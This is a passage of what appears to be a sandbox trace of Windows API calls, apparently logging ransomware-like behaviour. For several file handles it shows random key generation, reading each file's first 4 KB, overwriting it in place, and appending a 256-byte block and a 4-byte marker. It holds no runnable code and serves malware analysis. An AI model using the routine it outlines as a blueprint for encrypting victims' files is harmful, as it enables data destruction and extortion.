returned 0x540000 [0079.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.604] GetProcessHeap () returned 0x540000 [0079.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.604] GetProcessHeap () returned 0x540000 [0079.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.605] GetProcessHeap () returned 0x540000 [0079.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.605] GetProcessHeap () returned 0x540000 [0079.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.605] GetProcessHeap () returned 0x540000 [0079.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.605] SetFilePointerEx (in: hFile=0x77c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.605] WriteFile (in: hFile=0x77c, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.605] WriteFile (in: hFile=0x77c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.605] GetProcessHeap () returned 0x540000 [0079.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.605] GetProcessHeap () returned 0x540000 [0079.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.605] GetProcessHeap () returned 0x540000 [0079.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.605] CloseHandle (hObject=0x77c) returned 1 [0079.608] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 16 [0079.608] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.608] ReadFile (in: hFile=0x7c8, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.608] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.608] GetProcessHeap () returned 0x540000 [0079.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.608] GetProcessHeap () returned 0x540000 [0079.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.608] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.608] GetProcessHeap () returned 0x540000 [0079.609] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.609] ReadFile (in: hFile=0x7c8, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0xf0e, lpOverlapped=0x0) returned 1 [0079.653] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0xfffff0f2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.654] WriteFile (in: hFile=0x7c8, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0xf0e, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0xf0e, lpOverlapped=0x0) returned 1 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.654] GetProcessHeap () returned 0x540000 [0079.654] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.654] GetProcessHeap () returned 0x540000 [0079.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.655] GetProcessHeap () returned 0x540000 [0079.655] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.656] GetProcessHeap () returned 0x540000 [0079.656] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.656] GetProcessHeap () returned 0x540000 [0079.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.657] GetProcessHeap () returned 0x540000 [0079.657] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.657] GetProcessHeap () returned 0x540000 [0079.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0079.658] GetProcessHeap () returned 0x540000 [0079.658] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0079.658] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.658] WriteFile (in: hFile=0x7c8, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0079.659] WriteFile (in: hFile=0x7c8, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0079.659] GetProcessHeap () returned 0x540000 [0079.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0079.659] GetProcessHeap () returned 0x540000 [0079.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0079.659] GetProcessHeap () returned 0x540000 [0079.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0079.659] CloseHandle (hObject=0x7c8) returned 1 [0079.660] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 17 [0079.660] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.660] ReadFile (in: hFile=0x79c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0079.660] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.660] GetProcessHeap () returned 0x540000 [0079.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0079.660] GetProcessHeap () returned 0x540000 [0079.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0079.660] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0079.660] GetProcessHeap () returned 0x540000 [0079.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0079.660] ReadFile (in: hFile=0x79c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0079.719] SetFilePointerEx (in: hFile=0x79c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.719] WriteFile (in: hFile=0x79c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.720] GetProcessHeap () returned 0x540000 [0079.720] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.721] GetProcessHeap () returned 0x540000 [0079.721] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.721] GetProcessHeap () returned 0x540000 [0079.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0079.722] GetProcessHeap () returned 0x540000 [0079.722] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 